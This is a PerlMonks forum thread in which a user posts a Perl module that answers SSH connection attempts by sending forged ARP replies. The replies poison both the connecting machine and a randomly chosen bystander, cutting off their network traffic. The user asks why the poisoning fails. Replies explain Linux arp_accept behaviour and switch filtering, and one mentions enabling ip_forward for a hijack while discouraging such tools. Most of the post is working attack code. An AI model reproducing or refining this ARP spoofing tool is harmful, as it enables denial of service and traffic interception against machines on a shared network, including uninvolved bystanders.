Beefy Boxes and Bandwidth Generously Provided by pair Networks
No such thing as a small change

ARP poisoning and redirection

by QuillMeantTen (Friar)
on Feb 12, 2016 at 17:24 UTC ( #1155112=perlquestion: print w/replies, xml ) Need Help??

QuillMeantTen has asked for the wisdom of the Perl Monks concerning the following question:

Greetings fellow monks
First thing, I am aware of this post so before anyone jumps the gun and beats me bloody I'd like to say a few words:
Even though I am most interested in computer security (in fact I'm planing to start a masters degree in that field next year) I did not write this script with wanton destruction in mind, just mischievous curiosity (ain't it worse?).
The idea came to me after other students told me that during the networking workshops at uni great pranks were to be played on unsuspecting marks : since all computers shared the same login and password one could decide to log into someone else's computer and either eject the legitimate user or reboot the machine.
So I thought, hey, iptables exists for one reason but turning the (ip)tables on the prankster might be fun too (at least having fount out how to do so). I came up with the following code, which
I do not intend to use on any network that is not mine to own and rule other as I see fit meaning made of machines I own as in paid for.
The idea behind it is quite simple:

  1. Populate a hash with all the ip/mac couples to be found on the local segment
  2. create a log and drop chain in iptables for tcp packets on port 22
  3. filter /var/log/messages for the word "ATTACK"
Upon an attack here is what happens:
  1. A random mac/ip couple is selected from the hash
  2. ARP replies are sent to the prankster, telling him my ip address is mapped to the random mac selected
  3. To prevent the periodic refresh of the arp cache (default 60 seconds, according to this), arp replies are sent to the target machine telling it the prankster's machine is at aa:bb:cc:dd:ee:ff (killing two birds with one stone, if my script worked the prankster would not be able to do much harm since any attempts at a tcp handshake would fail because of this, of course ping floods exist too)
  4. Sinceres replies from my own system are prevented (the echo part to arp_ignore
Alas, even after rereading my course material on the arp protocol (which is scant to say the least) and searching the internet for informations on the behaviour of linux systems when it comes to it I cant answer the question that bugs me most:

Even though wireshark indicates that the packets are correctly sent (and even warns me of duplicate macs for the same ip address during the capture) the arp cache of the machine I am using to trigger the script is not updated with the random mac.

So here I come, looking for your wisdom and hoping to learn more on this topic.

And the code I came up with:
It is one my first attempts at using module starter instead of single file scripts so I would also be grateful for informations and advice regarding my code layout/style
package ssh::counterattack; use 5.006; use strict; use warnings; use Getopt::Long; use File::Tail; use Net::ARP; use Net::Ping; use Net::Netmask; use autodie; use Exporter qw(import); our $VERSION = '0.01'; our @EXPORT_OK = qw/arp_lookup random_target monitor/; sub arp_lookup{ my ($net,$mask,$dev,$hash) = @_; print "$net\n$mask\n$dev\n"; my $block = new Net::Netmask($net,$mask); my @ips = $block->enumerate(); shift @ips; #get rid of first ip pop @ips;#get rid of last ip `/bin/echo 8 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`; #stop mys +elf from #truthfully answering arp requests for my $i (0 .. 1){#does it twice in case we miss someone foreach my $ip(@ips){ my $p = Net::Ping->new('icmp'); if($p->ping($ip,0.02)){ my $mac = Net::ARP::arp_lookup($dev,$ip); if($mac =~ /(unknown|00\.00\.00\.00\.00\.00)/||$ip eq +$net){ next; } else{ $hash->{$ip} = $mac; print "$ip=>$hash->{$ip}\n"; } } } } `/bin/echo 0 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`;#start ans +wering #truthfully again } sub random_target{ my ($hash) = @_; print "hash = $hash\n"; my @keys = keys %$hash; print @keys; my $n = int(rand($#keys)); return ($hash->{$keys[$n]},$keys[$n]); } sub setup{ `/sbin/iptables -N log-and-drop; /sbin/iptables -A log-and-drop -j LOG --log-prefix 'ATTACK'; /sbin/iptables -A log-and-drop -j DROP; /sbin/iptables -A INPUT -p tcp --dport 22 -j log-and-drop;`; } sub poison{ my($foe,$foe_mac,$bystander,$bystander_ip,$device,$myip) = @_; print "poisoning now\ndevice=$device\nmyip=$myip\n foe=$foe\nbystander=$bystander\nfoe_mac=$foe_mac\n"; for my $i (0 .. 120){ sleep(1); print "gagging bystander\n"; Net::ARP::send_packet($device, $foe, $bystander_ip, 'aa:bb:cc:dd:ee:ff', $bystander, 'reply'); print "lying to foe!\n"; Net::ARP::send_packet($device, $myip, $foe, $bystander, $foe_mac, 'reply'); } exit(0); } sub monitor{ my ($file,$hash,$device,$myip) = @_; my $line; unless(defined($hash)){ die "too bad, no hash given!\n"; } print "opening $file for tailing\n"; my $handle = File::Tail->new($file); while(defined($line=$handle->read)){ if($line=~/\AATTACK/){ print "got an attack\n$line\n"; $line=~m#SRC=(?<ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s#; my $foe = $+{ip}; print "foe is $foe\n"; my $pid = fork(); if(defined($pid)){ print "this is $pid\n"; my @bystander; while(!defined($bystander[0])||$bystander[0] eq $foe|| +$bystander[0] eq $myip){ @bystander = random_target($hash); } poison($foe,$hash->{$foe},$bystander[0],$bystander[1], +$device,$myip) } else{ print "father here\n"; } } } } sub run{ setup(); my($file,$network,$device,$mask); $file = '/var/log/messages'; GetOptions("net=s"=>\$network, "device=s"=>\$device, "mask=s"=>\$mask) or die("not enough arguments, error on the cli\n"); if(!defined($network)||!defined($device)||!defined($mask)){ die("I need all my args!\n --net= --device=wlan0 --mask="); } my $hash = {}; arp_lookup($network,$mask,$device,$hash); #/var/log/messages print "monitoring $file\n"; monitor($file,$hash,$device,$network); } END{ print "cleaning iptables\n"; `/sbin/iptables -D log-and-drop -j LOG --log-prefix 'ATTACK'; /sbin/iptables -D log-and-drop -j DROP; /sbin/iptables -D INPUT -p tcp --dport 22 -j log-and-drop;`; print "goodbye!\n"; } 1;

Replies are listed 'Best First'.
Re: ARP poisoning and redirection
by Anonymous Monk on Feb 12, 2016 at 20:44 UTC

    $ sysctl net.ipv4.conf.all.arp_accept
    net.ipv4.conf.all.arp_accept = 0
    $ grep -A5 arp_accept linux/Documentation/networking/ip-sysctl.txt
    arp_accept - BOOLEAN
            Define behavior for gratuitous ARP frames who's IP is not
            already present in the ARP table:
            0 - don't create new entries in the ARP table
            1 - create new entries in the ARP table

    And did you verify that the attacking machine is receiving the frames? It may depend on the switching equipment and configuration, things like port binding, mac filtering. I doubt this whole approach might hold much promise.

    Sharing the login credentials could make sense if it is to provide terminal access, but to have open remote logins... Sounds like the security in your playground is fundamentally broken, perhaps it is by choice.

      Well thank you, those ideas will be used in the next round of testing today. Once its all over I'll put a completed module targeted for that (rare) kind of broken playground in CUFP :)
      With a list of limitations of course... Update:
      this change solved part of the problem and the code should run without issues on a hub, now it seems that the router is blocking gratuitous arp replies, directed or not. This will require more investigation but I suppose a simple hub instead of a router/switch would let those through.

      One possible explanation that I would love anyone in the know to confirm or deny is the following:<br
      Even though arp is stateless the router keeps tracks of arp requests and replies and will only let a reply through if it has been preceded by a request AND|OR is agreeing with its own arp table

        I don't see what the ultimate goal is here. Are you trying to set up a DoS or an ARP hijack? If the latter, you probably want to enable ip_forward also. You haven't elaborated on the network topology, either. Protocol/flow description with the "usual suspects" Alice, Bob, Celia would no doubt be enlightening.

        If you want to work a trick in the classroom, you've plenty of alternatives. For example: scripted login to plug the holes and harden all hosts. In any case, please refrain from posting script-kiddie tools.

Log In?

What's my password?
Create A New User
Domain Nodelet?
Node Status?
node history
Node Type: perlquestion [id://1155112]
Approved by Lotus1
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others chilling in the Monastery: (4)
As of 2022-08-18 22:19 GMT
Find Nodes?
    Voting Booth?

    No recent polls found